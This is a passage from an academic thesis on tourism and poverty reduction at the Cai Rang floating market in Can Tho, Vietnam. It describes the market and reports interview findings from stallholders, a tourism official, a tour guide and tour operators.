communities, tourist enterprises and other related stakeholders such as tourists and NGOs. 75 4.1.2 The Cai Rang floating market Cai Rang floating market is one of the most famous and biggest floating markets in the Mekong Delta. It is also a living museum of the southern traditional culture that has been fostered by the Mekong Deltas interlacing waterway systems (Thanh Nien News, 2009). The market is on the Cai Rang river. It is five kilometres by road from the centre of Can Tho city (see Figure 4.1) (Can Tho Portal, 2007d). It is a wholesale market, selling fruit, vegetables and other agricultural products from Can Tho city as well as from 13 neighbouring provinces in the Mekong Delta region (see Figure 4.2) (Vietnam Net, 2009a). Figure 4.1: Map of Can Tho city with the location of Cai Rang floating market 1. (Source: Authors adaptation (Adapted from People's Committee of Can Tho City, 2005) Cai Rang floating market 76 Figure 4.2: Stallholders on the Cai Rang floating market (Source: Can Tho Tourist, 2009) Cai Rang floating market is much more geared towards locals than tourists; therefore, it doesnt have souvenirs stalls like the other markets. Unlike the land- based markets, the shops and stalls at Cai Rang floating market are boats of different sizes (Can Tho Investment Trade Tourism Promotion Centre, 2007). The market was born hundred years ago from the local peoples habit of travelling and doing business by boat on the regions interlacing waterway systems. In the south-western region, boats and rafts are important means of transportation, like motorbikes and cars are in other regions. Cruising through the river in a boat, local vendors conduct all their business right on the water (Vietnam Net, 2009a). All the goods are transported to the market by rafts and boats. The floating market is not only a place where rural products are sold but also unique features of life are found on these boats. The market constitutes a canal civilization: many traders live on the river and some link their lives with their boats. On the deck of the boats, visitors can see generations of one family, children or babies, and even some dogs, pigs, and chickens, as the boats are the families mobile homes (Figure 4.3) (Can Tho Portal, 2007d). Figure 4.3: Stallholders with child and dog on their boats (Source: Author, 2010) 77 (Source: Author, 2010) Figure 4.4: Concentration of small boats at the Cai Rang Floating market (Source: Luong, 2001) The floating market has made a contribution not only to cultural exchange but also waterway economic development. The market opens every day from sunrise until evening and the busiest time is from dawn until 8 a.m. (VOV News, 2010a). In the early morning, the waterway becomes a maze of hundreds of boats and junks of all sizes are anchored along the river for kilometres; all carrying a variety of seasonal fruit and vegetables (see Figure 4.4). Traders come to the market to buy fruit and vegetables and then bring them to other markets or export them to China and Cambodia (Can Tho Portal, 2007d). Unlike shops and stalls in ordinary markets, sellers cannot cry out to advertise their wares since it is impossible to be heard 78 amidst the noise of running boat engines (Thanh Nien News, 2009). That is why it is essential for each boat to display a long upright pole at its bow on which the sellers hang samples of their products (see Figure 4.5). If they sell bananas and durian, they will hang bananas and durian on the pole so that buyers can see what items are on sale from a distance (Vietnam Net, 2009a). This way of selling is simple but has existed for nearly a hundred years. Recently, to meet the demands of traders and visitors throughout the market, many new services have been created. Going to the market now, visitors not only find people buying and selling agricultural produce but also find floating restaurants, floating bars, floating gas stations, and many other floating shops which sell breakfast, coffee, beer, soft drinks, wine and even cigarettes (see Figure 4.6) (Can Tho Portal, 2007d). These boats are often small, so they can move through crowded areas to serve people. Boats also operate like taxis, very convenient for tourists to hire and travel around the floating market. Mekong Delta region. Many locals still prefer floating markets, which have been a part of their daily lives and livelihoods for generations (Thanh Nien News, 2009). Figure 4.5: A pole on the boat of a stallholder on the Cai Rang floating market (Source: Vietnam Tourism, 2005) 79 Figure 4.6: A child sells fruit and soft drink on the Cai Rang floating market (Source: Author, 2010) Unlike floating markets in Thailand, floating markets in Vietnam, including Cai Rang floating market, have evolved naturally over hundred years or more. Thus, they are not only markets but also bring with them features of traditional culture (Nguyen, n.d.). This specific feature of the floating market attracts both Vietnamese people and foreign tourists. According to the Director of Can Tho Tourism Department, the market attracts 300500 visitors each day (Loc, 2009). Trading activities at the Cai Rang floating market are an occasion for tourists not only to buy indigenous specialties but also to sense the hardships of the sellers and learn more about the local peoples. A visit to the Cai Rang floating market is a great way to experience how the local population uses the river canals for transportation and commerce. There are other floating markets around the region such as Cai Be floating market in Tien Giang province, which is only about one hours drive from Ho Chi Minh city, but Cai Rang floating market is by far the largest and is worth travelling the distance. The market was named as one of the 60 greatest places in the world (Project for Public Spaces, n.d.). Its unique cultural characteristics will give tourists unforgettable memories. However, there are challenges facing the market in terms of it being a significant tourism destination. The discharge of waste into the river can cause negative experiences, particularly for international visitors. Another issue is safety for tourists: recently there have been many high-speed passenger boats that travel too quickly in the crowded areas at the Cai Rang floating market, and this is very dangerous for 80 visitors (Vietnam Tourism, 2005). Furthermore, the researcher observed many unregistered boats carrying tourists without life jackets. 81 5. Findings and Discussion This chapter presents and discusses the findings from the semi-structured interviews with 31 stallholders on the Cai Rang floating market, 1 local tourism official, 1 tourism professional, 1 tour guide and 3 tour operators (see Appendix B for a copy of interview questions). The findings are discussed under five main headings: the stallholders, the local tourism official, the tourism professional, the tour guide and the tour operators. For each of these headings, a brief description of the respondents is presented first, followed by their work that relates to tourism and then their opinion about how the Cai Rang floating market as a tourist product might help to reduce poverty for local people The data from the interviews will be compared with the findings of prior studies from literature. Quotations taken from the interview transcripts are presented in the findings with pseudonyms to protect the identity of the participants. The implications, limitations of the research and further research are presented in the next chapter. 5.1 Findings 5.1.1 The stallholders Demographic characteristics of the stallholders on the floating market Eighteen female and 13 male stallholders participated in the research (see Figure 5.1) Figure 5.1: Gender of stallholder respondents 58.1% 41.9% Gender Female Male 82 The majority of the interviewed stallholders (23 respondents) were more than 30 years old (74.2%). This suggests a mature collection of stallholders who would have a deep knowledge about the floating market. There were only two respondents (6.4%) aged over 50 (see Figure 5.2). It was explained in some interviews that when people get older, health reasons mean it is no longer suitable for them to be stallholders on the floating market; therefore, most stallholders are youthful or middle-aged. A quote from the following respondent illustrates this point: I have been saving money to open a dairy on land because when I get older I could not row the boat. Figure 5.2: Age groups of stallholder respondents There were six respondents (19.4%) who had never had a school education. Sixteen interviewed stallholders (51.6%) had completed primary school, five (16.1%) had had some lower secondary school education and a further four (12.9%) had completed upper secondary school (see Figure 5.3). None of the respondents had tertiary qualifications. A respondent explained why he did not attend school when he was young: My house was very far from school and it was more important to earn a living than to go to school. 25.8% 45.2% 22.6% 6.4% 0% 10% 20% 30% 40% 50% Under 20 20 - 30 31 - 40 41 - 50 Over 50 83 Figure 5.3: Level of education of respondents Some common reasons for not going to school were because their families were poor, they could not afford to go to school or they had to work, or because their house was too far from the school. Another respondent, about 35 years old, pointed out that: There were many people who did not go to school, just like me, when I was at school age. The American War ended just 35 years ago and there was limited access to education during that time. As Figure 5.2 indicated, most respondents were more than 30 years old, so it is not surprisingly they had low education levels. The respondents that had completed high school were all less than 30 years old. More than three-quarters (77.4%); of the respondents (24 stallholders) are residents of Can Tho city; the rest (7 stallholders, or 22.6% of those surveyed) are from neighbouring provinces Of those who are residents in Can Tho city, most live near the floating market; even so, it can take up to one hour for some local stallholders to go to the floating market from home. For those stallholders that live in other provinces, it can take from three to ten hours to go to the Cai Rang floating market. Although this floating market is far from home, they still prefer to be stallholders 19.4% 51.6% 16.1% 12.9% 0% 10% 20% 30% 40% 50% 60% No qualification Primary school Secondary school High school Tertiary 84 there because it is one of the biggest floating markets in the Mekong Delta region, and many have been selling products there for five or more years. A respondent said: I sold fruits on another floating market in Can Tho before, but it was not as busy as the Cai Rang floating market, so I moved to the market since six years ago in order to generate more business. Stallholders and their business on the Cai Rang floating market Most (23) of the respondents have been stallholders on the floating market for more than five years (74.2%) (see Figure 5.4). The others have started their businesses on the floating market within the last two or three years, one even just started two months ago. Overall, the respondents have a long-standing involvement in doing business on the Cai Rang floating market, with an average period in the business of 6.5 years. Figure 5.4: Length of being stallholders on the Cai Rang floating market More than half (58.1%). of the respondents (18 stallholders) come to the market to sell products every day. The rest of them sell on the floating market four to five days a week or until their products are sold out. The latter group then go to farms or orchards to buy products. A stallholder stated: 25.8% 51.6% 22.6% 0% 10% 20% 30% 40% 50% 60% Less than 5 years 5 to 10 years Over 10 years 85 When the fruits are sold out, I go home to take a rest for two or three days. Then I go to a fruit gardens to top up stock, and come back to the floating market. The stallholders may be away from the floating market for up to two weeks due to the time it takes to go to other provinces to buy fruits and vegetables which may not be available in Can Tho city. Nearly half (45.2%) of the interviewed respondents (14 stallholders) sell year-round fruits and vegetables, a further 19.4% of respondents sell seasonal fruits, and another 19.4% sell soft drink and coffee. The remaining five respondents (16%) sell prepared food such as noodle, rice gruel, Vietnamese style cake and dried fruits (see Figure 5.5) Figure 5.5: Products for sale on the floating market All the stallholders who sell prepared food prepare the products themselves. However, the majority (84%) of stallholders (26 respondents) dont produce the products they sell: more than half (16 respondents) buy the products from local farmers, a further six stallholders are supplied the products by local wholesalers (these were stallholders who sold soft drinks), and another four stallholders buy products from outside Can Tho city (Figure 5.6). Nonetheless, it is worth noticing that the soft drinks are not locally produced. Therefore, it could be considered that only 66.7% stallholders sell products that are from local sources. 45.2% 19.4% 19.4% 16.0% 0% 10% 20% 30% 40% 50% Year-round fruits/vegetables Seasonal fruits Drink Food 86 Figure 5.6: Sources of products When asked about jobs they had done before becoming stallholders on the floating market, 24 respondents (77.4%) said this was the only job they had ever had. A further 22.6% had done other jobs before such as working in paddy fields, selling rice, or working in a company. The main reason for changing jobs was because they got married and had to take care of their children. An interviewee said: I prefer to work in a company because I completed high school, I have a qualification. An office job, monthly-based salary, would be better for me. However, being a stallholder on the floating market, I can come to the market to sell products in the morning, and then come home to look after my child in the afternoon. Next year, when my child grows up and starts to go to school, I will look for company work again. Another respondent stated that: I always want to do business on the floating market rather than farming. She went on to explain why: Being a stallholder would earn more income than working in the paddy fields. It does not require huge capital to get started at the market, and there is no need for qualification or registration to be a stallholder on the floating market. Furthermore, 16.0% 51.6% 19.4% 13.0% 0% 10% 20% 30% 40% 50% 60% Self-produced Supplied by local growers Supplied by local wholesalers Bought from neighbour provinces 87 stallholders dont have to pay income tax; they only pay a daily levy to the local government. This levy is usually between VND2,000 and VND5,000, but as the amount paid depends on the size of their business, many stallholders on small boats dont pay any fee at all. When asked about how much they earn each day, 11 interviewed stallholders (35.5%) did not wish to disclose details about their income. Covin and Slevin (1989) also found that respondents are reticent about divulging financial information. The research found that seven interviewed stallholders (22.6%) earn approximately VND30,000 (about US$1.54) per day, and 13 respondents (41.9%) earn from VND50,000 to VND100,000 per day (about US$2.6 to US$5.1) (see Figure 5.7). The findings indicate that by international agency standards the majority of stallholders cannot be considered poor since their income levels are above the national poverty line and as well as the new international poverty line of the World Bank: US$1.25. It is important to note, however, that not all of the respondents work every day. Furthermore, in some cases this is the only income for the whole family, including a husband, wife and children: stallholders who sell food and drink work on the floating market by themselves, whereas stallholders who sell fruits and vegetable often have their spouse or their children on the stall to help them, and there is no wage or salary paid to those family members. Figure 5.7: Stallholder daily income levels 11 7 13 0 2 4 6 8 10 12 14 No answer $1.5 - $2.5 $2.6 - $5.1 88 A stallholder, who is a fruit wholesaler, said: When the business is good, not much competition, I could earn more than VND100,000 per day. However, if there are many competitors, I could make a loss of up to VND100,000 per day. The interviews clearly showed that income earned from stallholding on the Cai Rang floating market is unstable; however, this is the main source of family income for 20 of the respondents (64.5%). Eleven respondents (35.5%) had other sources for extra income, with four stallholders (12.9%) having another job, and seven (22.6%) having spouses that had their own jobs and income. The research also finds that 27 (87.1%) of the interviewed stallholders are married, with nine respondents (29%) have one child and a further 13 (41.9%) having two. Since income derived from stallholding is quite low and unstable and given that only 35.5% respondents have extra sources of income, it is worth considering whether this income is sufficient for stallholders to support a whole family, paying for basic needs such as food, tuition fees of their children, and fees to see a doctor when a family member is sick. The research reveals that 26 respondents (83.9%) have shelters on land, two respondents (6.4%) rent a flat, and three (9.7%) live on boats (see Figure 5.8). It is worth noting that while several of the respondents consider they have shelters on land, these may not be their own, belonging instead to parents or extended family members. The research findings suggest that although the interviewed stallholders may not meet international classifications of poverty, they do have characteristics of the poor such as lack of access to education, insufficient and unstable income, shortage of shelter and lack of capital to start a business. In term of difficulties in accessing basic needs (such as basic education, health care and clean water), a respondent explained that: 89 My children could not go to school because our family lives on the boat. We are floating around and the children have to follow us to go to neighbour provinces to buy fruits and vegetables. Figure 5.8: Types of shelter in which stallholders are living Another respondent said: I have to leave my children with their grandparents who live on land, so they can go to school. According to one stallholder, because she lives on her boat she cannot listen to the radio or watch television, and so she cannot update her knowledge. Another stallholder said that the income she earned each day was just enough to feed her family for a day; she could not save any money. While the income gained from selling products at the Cai Rang floating market is not high, most (71%) of the stallholders, 22 respondents, dont plan to do other jobs or have other businesses: they would continue to be stallholders on the floating market until they are old and could not row a boat. Nor do they have a business plan for their 83.9% 6.4% 9.7% 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% Have shelter on land Renting a flat Live on boat 90 sales on the floating market. The other nine respondents (29%) expressed that they might do other jobs later. It is noticeable that all four stallholders (12.9%) who had completed high school have plans to do other jobs or to build a bigger business. One stallholder has plans to become a fruit wholesaler, transferring fruits to Ho Chi Minh city to sell to the wholesalers there. Some respondents said they would be stallholders until their children finished school, then they might do other jobs. Another stallholder stated that when their children got married, they would do business on land. All these plans are just in the respondents minds; they are not written down. In general, many interviewed stallholders are less likely to have plans for the future of the business or a desire to expand it. Respondents were asked about resources that they turn to when they need advice related to their business. Most (71%) of the interviewed stallholders, 22 respondents, just work out the issues by themselves, while a further nine respondents (29%) would seek advice from a spouse, family members or friends. None of those interviewed made use of a professional service provider. Stallholders and tourism development on the Cai Rang floating market None of the respondents see themselves as being in the tourism industry. All the stallholders were somewhat unsure of their answers when asked about tourism- related issues such as what proportion of the customers are tourists (international or domestic); whether tourists come in a group, package tours or free independent tourist; and what percentage of their income is earned from foreign tourists. Nevertheless, all the stallholders said they sold products to both locals and tourists (domestic and international). The customer mix changes with the seasons: the number of tourists coming to their stalls increases in the dry season, while there is more reliance on locals over the rainy season. In general, stallholders sell more to locals and domestic tourists than to international tourists. This can be explained by the fact that international tourists do not buy fruits and vegetable to take home because these products do not stay fresh for long and can be bought anywhere. Another issue raised is that international tourists only come in the morning, whereas 91 stallholders can trade with local people throughout the day. In addition, stallholders dont aim to attract tourists to their stalls; rather it is the tourists who come to them. One stallholder mentioned: I prefer to trade with domestic tourists because they do not bargain much like international tourists. Nevertheless, he is the only respondent who expressed this sentiment. As one stallholder noted: Foreign tourists are very nice and friendly. They often say good things about the local fruits. However, sometimes stallholders are busy with the local regular customers, and they dont have time to serve international tourists who buy just small quantities. A respondent said that: Sometimes tourists come to buy my product but I refuse to sell because in the early morning, I prefer to trade with a person that buys a lot of fruit like wholesalers or retailers rather than just sell a pineapple to a tourist. Despite the fact that none of the interviewed stallholders speak a foreign language, this is no barrier to them trading with international visitors: they can use body language, or if tourists come in a package tour, there would be a tour guide for translation. None of the respondents feel that tourism is currently vital for their economic well-being and, as a result, they dont have any strategies to attract foreign tourists to their stalls to buy their products. Nor do they have any business relationship with the tourist companies either, even though they would like to see more foreign tourists. When discussing local governments support to stallholders, a respondent said: The government doesnt support the stallholders in any way. Some government officers even asked for some extra money for themselves. 92 The stallholders (many of them local residents) dont have any input into tourism development strategies in Can Tho city. The government designs and makes decisions without extended consultation. Stallholders are so busy trying to earn a living that they dont pay attention on what is going on in the tourism industry. A stallholder said: I dont know anything about the tourism industry. Sometimes I listen to the radio and know that Can Tho is developing tourism industry but I am not very clear what the government is doing, what their plan is. Another respondent stated: I am too busy with work. I have no time to care about what is going on with the tourism industry. The interviewed stallholders dont know anything about Can Tho city tourism development strategies, and as a result they cannot comment about the current strategy. Because the stallholders dont have much knowledge about the tourism industry, including benefits that tourism can bring, they cannot comment about whether tourism could potentially help to reduce poverty. These findings confirm literature which suggests that local communities are often not involved in the tourism development process at a destination (Telfer & Sharpley, 2008). In fact, it is these stallholders who need to be engaged in planning and development initiatives as they play a valuable role in the supply of tourism activities or products, but are currently not participating in this arena fully. The research found that stallholders were too busy earning a living to pay attention to the tourism industry. Besides, they dont have enough knowledge to participate in tourism development strategies. This finding is supported by similar findings drawn by Liu and Wall (2006) (cited in Telfer & Sharpley, 2008), namely that locals may not have the skills and knowledge to participate. Special attention should be paid to improve the livelihood of the local community. When their living standards are improved and they dont have to worry about hunger and poverty, they will have more time to upgrade their knowledge and may contribute useful opinions and creative ideas for tourism development strategies. 93 5.1.2 The tourism officer, professional, tour guide and tour operators Local tourism officer The researcher interviewed an officer of the Can Tho city Department of Culture, Sports and Tourism. He has been working in this department for more than five years. The officer provided useful information about the market. Stallholders on the Cai Rang floating market pay a fee to the Cai Rang district. The waterway police department manages the registration and safety requirements of all the boats. This includes boats for personal use, those used by stallholders for their business on the floating market, and boats that are used to carry tourists. The officer shared his opinion: Although the Cai Rang floating market attracts a growing number of tourists their length of stay is not long, just about one or two hours, and the tourism revenue from the floating market is not a significant contributor to the local economy. As a result, the Department of Culture, Sports and Tourism in Can Tho city doesnt have any plan to invest, improve or develop this site to be a tourism product. The floating market is a spontaneous market, just let it develops by itself, if there is any problem, we will solve it. The Cai Rang floating market is very important to local community as it is a place for trade. On the other hand, the market is just a long-standing cultural feature; it doesnt impact on the tourism revenue of Can Tho city. The tourism officer stated that: Can Tho city doesnt have unique tourism product. The city is planning to develop MICE tourism, ecotourism, orchard tourism and water-based tourism, including Cai Rang floating market. Can Tho city is an important transport hub in the Mekong Delta region, with many important roads, waterways and airways, connecting the delta to other regions and countries. It also has better quality hotels and restaurants with larger capacities 94 compared with those in its neighbouring provinces. Both these factors are advantageous when planning to develop MICE tourism. The other tourism products found in Can Tho city are not unique to that location, but duplicate those found in the neighbouring provinces. For example, tours to fruit gardens and floating markets are also available elsewhere. The officer also acknowledged: Can Tho city has an experienced human resource but is likely out of date, couldnt catch up with the current tourism trend, could not give creative and impressive ideas. Furthermore, the officer claimed that the city doesnt have financial resources for research into tourism development. The tourism department does not do its own research; instead, it collects data reported by local hotels and restaurants. Therefore, this data might be different from the actual data due to the hotel and restaurant owners wanting to pay less tax. To summarise, the tourism industry in Can Tho city is underdeveloped: it does not bring many economic benefits to the city or to the local people. The industry needs much more investment from the central government to improve infrastructure as well as funding for tourism research and for training. In addition, it is necessary for central government to advise how to develop the tourism industry in ways that will maximise the benefits for local communities. Currently, there is no local community input in tourism development strategies of Can Tho city. When asked about strategies to use tourism as a tool for poverty reduction, the officer said: It is believed that when there are tourists, there would be tourism revenue, however the revenue may be not much. The officer also acknowledged that tourists love to make contact with local residents. Many foreign tourists enjoy watching local residents engage in their daily activities. 95 Some of the visitors other favourite pursuits, according to his observations, include working in the rice fields, netting fish, picking fruit and riding bicycles. He added that tourists also love fresh fruits and they enjoy watching the fruit-seller cutting fruits, which they can then consume there and then, right at the floating market. The officer stated that it is obvious that tourism has potential to create jobs for local people and to bring extra income for them. The tourism department in Can Tho city doesnt have any strategy to use tourism as a tool for poverty reduction. He explained: Poverty alleviation is the responsibility of the Labour, War Invalid and Society Department. The Tourism department works separately, independently from the Labour, War Invalid and Society Department. We do not have strong links with other departments in Can Tho city. Each department has their own responsibility and we dont have much chance to sit down together and discuss about co-operation to develop tourism industry in Can Tho city. The tourism professional The researcher interviewed the director of a tourist company in Ho Chi Minh city. The director has worked in this position for more than five years. She shared her opinions about tourism in the region: Tourist products must be different from daily products for local people. Tourist products need to be packed in a nice and attractive package, and must be compliance with health and safety standards. She also pointed out that: We have put so much effort to export local farm products and aquatic products but there are many difficulties and barriers to do so. Why dont we think of tourism as an export, tourists consume those products right at the destination. Tourists come to Vietnam more and 96 more each year. Last year we welcome four million international tourists and thirty million domestic tourists. This is a huge amount of consumers. She suggested that there should be unique souvenirs for tourists to take home as gifts for family, relatives and friends who could not travel or had never been to the Mekong Delta region. These souvenirs not only remind tourists about a destination that they have visited but are also a good way to promote the Mekong Delta region as a tourist destination, including Can Tho city. The tourism professional also pointed out that tourism had not developed correspondingly with the Can Tho citys potential. It is necessary to develop niches for ecotourism, water-based/river tourism and to put more effort into promotion of those local unique tourism products, she said. At the moment, tourists come to the Mekong Delta region and focus largely on sightseeing; they do not get involved in daily activities of local people. Tourists come mainly to consume fresh fruits and taste honey, but there is nothing else to do. She said: We could learn from other countries how they create, develop and promote their tourism industry but it does not mean copy what they are doing. We need to know our strengths and build tourism products upon those strengths. The tourism professional acknowledged that the local community did not seem to be very aware of the tourism industry and did not realise the importance of this industry. According to her, Cai Rang floating market is a unique cultural attraction but it is not as good a tourism product as the floating markets in Thailand. She shared her experience: The floating markets in Thailand were established to serve the tourism industry. The products being sold on their floating markets are packed very nicely and there are many souvenirs for tourists to take 97 home. In addition, stallholders on the floating markets in Thailand are very friendly and they are always happy to serve tourists. On the other hand, she said, the Cai Rang floating market is a spontaneous market. Tourists just come to have a look or may consume some fresh fruits then go they dont spend much money or stay long at the market. Stallholders just do their daily work; they dont think about producing tourist products and how to attract more tourists to their stalls. Normally, the tour guides take tourists to the stalls or tourists come there by themselves. As a result, the products being sold on the Cai Rang floating market are not packaged nicely and there are no souvenirs. Some stallholders even refuse to trade with tourists. Consequently, visitors commented that they had changed some money into Vietnamese currency and would have happily spent some of it while they were visiting the famous floating market in Can Tho but the wholesale fruit and vegetable people was not aimed at tourists at all. This seems generally true of this area: virtually no attempts are made to extract the tourist dollar from their wallets (Action Aid, 2007). As evidenced by the quote of a stallholder, which was mentioned earlier, in the early morning, she preferred to do a wholesale trade with the first person who came to her stall, rather than just sell a pineapple to a tourist. This is a Vietnamese belief that the first person who comes to buy the product or service at the beginning of the day is very important. This person could bring good luck and the stallholder could sell a lot during that day. However, if they start the day by selling just a pineapple to tourist, they may only sell a few fruit during that they. Most Western tourists dont know about this belief, and so it can lead to a misunderstanding between the tourists and the stallholders. Although it is not that the stallholders dont like to trade with tourists, but some tourists may feel that they are not welcomed by local people and this could impact on their overall satisfaction about their trip to Can Tho city. The findings show that the involvement of local people in tourism contributes a unique flavour which is of particular value to the visitor experience. This is supported by Dowlings study (2003, p. 213): The attitudes of a host communitys residents are a key component in identifying, measuring and analysing the impact of tourism. Resident 98 perceptions of tourism may be one factor in shaping the attractiveness of a destination, and negative attitudes may be one indicator of an areas ability (or inability) to absorb tourism. The local community plays a central role in the success of any tourism destination. The role of the community as ambassadors for the attractions of their hometown must start with an awareness of the attraction and the value visitors place on the experiences provided. Local people need to look at their hometown and what it offers through the eyes of the visitor to appreciate it. Visiting Cai Rang floating market is a unique experience for tourists. Local communities need to understand how the tourism industry in Can Tho city could improve their quality of life. However, the need for communities to understand how tourism benefits them, and for locals to become involved in interacting with the visitor travelling through Can Tho city, is a somewhat vague concept for stallholders. The interviewed tourism professional suggested: There needs to be more co-operation between local tourism businesses and officers. Local people should not only be encouraged to participate in the tourism industry but also need to be guided how to engage with tourism through their daily life. Daily activities could be transformed into tourism products as many foreign tourists enjoy watching local residents engage in their daily activities. As the local tourism officer said, some of the visitors other favourite pursuits include working in the rice fields, netting fish and picking fruit. Local people do their daily work aimed for the local market, but if they were to develop their activity for the tourism market they would need to have plans for production with more technological procedures and also packaging. The tourism professional suggested: The local community may make dried fruits and vegetables and then pack those nicely to sell to tourists. These dried products must follow health and safety standard. The package may also be written in English. However, local residents do not seem to have enough 99 knowledge and capital to do all these things by themselves. There need to be guidance and support from the government. She also stated that it is necessary that all the departments in Can Tho city work together, creating strong links and co-operating to develop tourism in a better way. Nevertheless, the tourism department may only follow the guidance of the Ministry of Culture, Sports and Tourism but the Ministry does not have the power to create a network to link the tourism department with other departments within the city. The tourism professional said: Can Tho is a rice basket. The government may not see tourism as a key economic sector in this city. Meanwhile local tourism officials dont have knowledge about pro-poor tourism. As a result, tourism may not be considered as a potential tool for poverty alleviation in Can Tho city. To develop the Cai Rang floating market into more of a tourism product and so bring more benefits to the local community, there are lots of things that need to be done. The tourism professional explained: The co-operation of all stakeholders at all levels (e.g. international aid agents, donors, national and local government, tourist companies and local community) is very important, and the mindset of the local government and residents in Can Tho city about the role of the Cai Rang floating market and tourism industry should also be changed. The tour guide The tour guide interviewed for this research is about 70 years old. He has worked in the tourism industry for most of his life. He worked for another tourism company in Ho Chi Minh city before he took his current job. He is now at the age of retirement but he still wants to work in this industry. He shared his experience that: 100 The price of products on the floating market was not cheap as before, when farmers came to the market to sell their products directly. Now, many stallholders are wholesalers, they come to farms or gardens to buy fruits and vegetables, then sell these products on the floating market. As a result, the price was increased. He suggested that prices should be controlled so they do not increase as tourism grows. According to the tour guide, although the Cai Rang floating market is very important to the local economy and for local residents, it could not be developed further because the land transport system has improved in recent years and is more convenient and faster than using the waterways. These days the floating market is just a cultural remnant of a region with an interlacing system of rivers and ditches. He also pointed out that: The floating market starts quite early in the morning and less crowded after 8 a.m. However, tourists normally come after 8 a.m. Because they are on holiday, tourists often dont wake up early. They only come to the floating market after they finish their breakfast. Therefore, tourists could not see the floating market at the time it is most crowded with a lively spirit. The tour guide then acknowledged that although the Cai Rang floating market is a unique cultural site, it does not attract as many tourists as tourist destinations in the middle region of Vietnam, where tourism is developed and managed better. Tourism in the Mekong Delta region, including Can Tho city, develops in a spontaneous fashion rather than with any co-ordinated planning or control. Local residents see tourist demand and so they provide products and services to the tourists in order to earn extra income. They dont have much knowledge about the tourism industry. The tour guide stated: Some local residents might see the family next door earning extra income from tourists, they then copy the way of their neighbour to provide tourist products and services. Consequently, the supply might 101 exceed tourist demand while the quality of provided products and services might not up to tourist satisfaction. Besides, some of the products offered are not local and unique. For example, in some tourist fruit gardens, traditional Chinese clothes were displayed to sell to tourists, not Vietnamese clothes. The tour guide explained that the Vietnamese in the Western region tend to prefer foreign products and they think Vietnamese traditional clothes are too countrified. Local people dont appreciate that international tourists come to the Mekong Delta seeking natural scenes and local authentic, unique tourist products. Nor does the local government understand tourists: according to the tour guide, the local government has planned to build more 4- and 5-star hotels instead of simple, clean and tidy lodges more in keeping with the local environment and culture. These plans were made and imposed in a familiar top-down fashion by the government without locals input. The tour guide feels strongly that local community participation is very important in the tourism development process. Local residents know a great deal about their home town and their contribution in planning for tourism development would be very useful. He added his concern, though, that even when locals comments are right, if the government had made a decision, it would not be easy and might cost a lot to change the plan. The tour guide did not know about the Can Tho city tourism development strategy but his opinion about developing the Cai Rang floating market as a tourism product was different to that of the tourism officials. The tour guide explained: Cai Rang floating market is a unique cultural tourist site, the image of the floating market was promoted overseas. It was neglectful to not have a strategy to develop the floating market as a tourist product that brings more benefits for Can Tho city and its residents. Likewise, the tour guide disagreed with the tourism professional about making dried fruits to sell to tourists. He said tourists coming to the Mekong Delta, especially the 102 Cai Rang floating market, prefer fresh fruits to dried fruits. Dried fruits, he added, can be bought anywhere in Vietnam, and even overseas since they are exported. He suggested organising events and activities on the river to attract more tourists; for example, boat racing, or mini-competitions where the tourists could try their hand at being sellers and see who the best seller is. Another idea would be having competitions where tourists make cakes, fruit salads or smoothies from local fruits and vegetables: tourists would have to row the boats and buy the fruits and vegetables by themselves to a budget. Alternatively, tourists could learn to make animals from fresh fruits. According to the tour guide, these activities would result in more local fruits and vegetables being sold, so bringing more economic benefits to the local people, while the tourists would enjoy their time at the floating market more than if they were merely sitting on a boat and consuming fresh fruits. These activities should be promoted widely so that more and more visitors could know and come to Can Tho city. The tour guide was not aware of the concept of pro-poor tourism. When discussing tourist companies supporting local poor people, he said tourist companies only organised tours for visitors to travel to the destinations and that poverty alleviation was a responsibility of the government. In other words, the business of business is business: tour operators exploit tourism resources for business purposes, there is no charity or helping to reduce poverty at the destination. He added: The government also doesnt have sufficient finance to support local people to do tourism business. They only encourage every household in Can Tho to do tourism business in order to earn extra income. The extra income from doing tourism business may not be much but it could help to stabilise local residents living. Tour operators The three respondents from tourist companies are all female and in the age group from 25 to 35. They have worked in the companies for at least three years while their companies have operated in the tourism industry for more than ten years. They dont have tertiary qualifications but they can speak English most of their customers are 103 foreigners. This is the respondents main job and they have never had any other job. All businesses represented in the interviews are independently owned and owner- operated. The owners saw other people open tourist companies along the street so they did the same. Their companies only have two to three staff as they are small companies. The tour guide and bus drivers are their contractors. According to the three tour operators, tours to the Mekong Delta are divided into three types: one-, two- and three-day tours. Tourists had to come to the company office to begin their journey, and they travelled to the Mekong Delta by bus. There are many small tourist companies along this street and they create links with each other. One interviewee said: I would send my customers to other companies if I do not have enough space left on my own daily tour. The operators understand the benefit of businesses supporting each other. The companies open seven days a week. They not only organise tours for travellers but also offer foreign exchange and provide computers with Internet service. The tour price for Vietnamese tourists is about US$2 cheaper than the price for international tourists. The tours operate daily. There may be two or three tourist buses in a tour but only one tour guide. The tour guide would stay on one bus and after visiting the first site, he would get on the second bus, and then the other one. The tour guide works for them casually and does not need to have a qualification in tourism; he needs only to be able to speak English. When the one-day tour finishes, the tour guide continues the journey with the tourists on the two- and three-day tours while the tourists on the one-day tour return to Ho Chi Minh city. Tourists on the one-day tour are provided with lunch while those on the other tours are provided with accommodation and meals. Since the companies provide meals for tourists, it depends on the tourists whether they want to buy local fruits, vegetables or food and make contact with local people. A tour operator indicated: 104 The company does not have business relationship with the stallholders on the Cai Rang floating market. We only organise for tourists to travel around the floating market about one hour then leave for other sites but we do have business relationship with some hotels and restaurants in the Mekong Delta region. Profit is an important motivation for running the business for all three respondents. None of the respondents would tell how much they earn each day, nor what proportion of their clients are international tourists. Their reluctance highlights the point raised by Covin and Slevin (1989) that respondents can be reticent in divulging financial information The companies business is to organise tours for travellers; they dont do any charity work or help poor people at the destinations, including Can Tho city. They dont know and dont have any comment about using tourism as a tool for alleviating poverty. Likewise, they dont know anything about tourism development strategies in Can Tho city. They dont know nor care about what events or festivals are taking place in Can Tho city at any particular time: their tours are always the same, and the operators do not change anything because of an upcoming event or festival. They dont think about organising a tour for tourists to join those festivals. If tourists travel to Can Tho at the time of a festival and they want to join that festival, they can stay in Can Tho for longer but by themselves. This means the tourists have to organise their own accommodation, meals and transport around Can Tho city as well as a means of returning to Ho Chi Minh city. Tour operators could potentially network and co-operate with other tourist stakeholders, such as local government and stallholders on the floating market, in order to organise better tours, that provide tourists with a unique sense of place experience. It may be necessary to raise awareness in these tourist companies of the fact that the tourism industry has a responsibility to the local community at destinations since it uses the community as a resource, sells it as a product and in the process affects the lives of everyone (Murphy, 1988, p. 97). 105 5.2 Comments and Policy Recommendations The 